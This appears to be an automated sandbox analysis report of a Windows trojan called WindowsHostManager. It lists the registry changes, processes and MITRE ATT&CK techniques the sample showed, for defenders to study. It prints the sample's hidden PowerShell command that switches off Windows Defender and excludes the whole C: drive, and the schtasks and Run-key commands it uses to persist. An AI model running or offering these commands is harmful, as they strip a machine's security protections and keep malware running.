f75c62ca244fa9ca65f0dc2958db662b3f2c8467b3d1ef2f6f8df8fe2aaeca5c

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\Users\\Admin\\AppData\\Roaming\\WindowsHostManager.exe"	WindowsHostManager(14).exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	WindowsHostManager(14).exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	WindowsHostManager(14).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	WindowsHostManager(14).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	WindowsHostManager(14).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WindowsHostManager(14).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WindowsHostManager(14).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WindowsHostManager(14).exe

Windows security bypass 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	WindowsHostManager(14).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "0"	WindowsHostManager(14).exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4468	powershell.exe
4468	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	WindowsHostManager(14).exe

Executes dropped EXE 1 IoCs

pid	Process
64	WindowsHostManager.exe

Windows security modification 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	WindowsHostManager(14).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	WindowsHostManager(14).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "0"	WindowsHostManager(14).exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHostManager = "\"C:\\Users\\Admin\\AppData\\Roaming\\WindowsHostManager.exe\""	WindowsHostManager(14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHostManager = "\"C:\\Users\\Admin\\AppData\\Roaming\\WindowsHostManager.exe\""	WindowsHostManager.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
552	schtasks.exe
4340	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4320	WindowsHostManager(14).exe
4320	WindowsHostManager(14).exe
4320	WindowsHostManager(14).exe
4468	powershell.exe
4468	powershell.exe
64	WindowsHostManager.exe
64	WindowsHostManager.exe
64	WindowsHostManager.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4320	WindowsHostManager(14).exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	64	WindowsHostManager.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4320 wrote to memory of 1368	4320	WindowsHostManager(14).exe	25
PID 4320 wrote to memory of 4468	4320	WindowsHostManager(14).exe	88
PID 4320 wrote to memory of 552	4320	WindowsHostManager(14).exe	90
PID 4320 wrote to memory of 64	4320	WindowsHostManager(14).exe	92
PID 64 wrote to memory of 1368	64	WindowsHostManager.exe	25
PID 64 wrote to memory of 4340	64	WindowsHostManager.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1368

C:\Users\Admin\AppData\Local\Temp\WindowsHostManager(14).exe
"C:\Users\Admin\AppData\Local\Temp\WindowsHostManager(14).exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Windows security bypass
- Checks computer location settings
- Windows security modification
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableIntrusionPreventionSystem $true -DisableScriptScanning $true -SubmitSamplesConsent 2 -MAPSReporting 0 -HighThreatDefaultAction 6 -ModerateThreatDefaultAction 6 -LowThreatDefaultAction 6 -SevereThreatDefaultAction 6; Add-MpPreference -ExclusionPath 'C:\'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /Create /TN "Microsoft\Windows\HostManager\Service" /TR "\"C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe\"" /RL HIGHEST /SC ONLOGON /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:552
- C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe
  "C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:64
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /Create /TN "Microsoft\Windows\HostManager\Service" /TR "\"C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe\"" /RL HIGHEST /SC ONLOGON /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry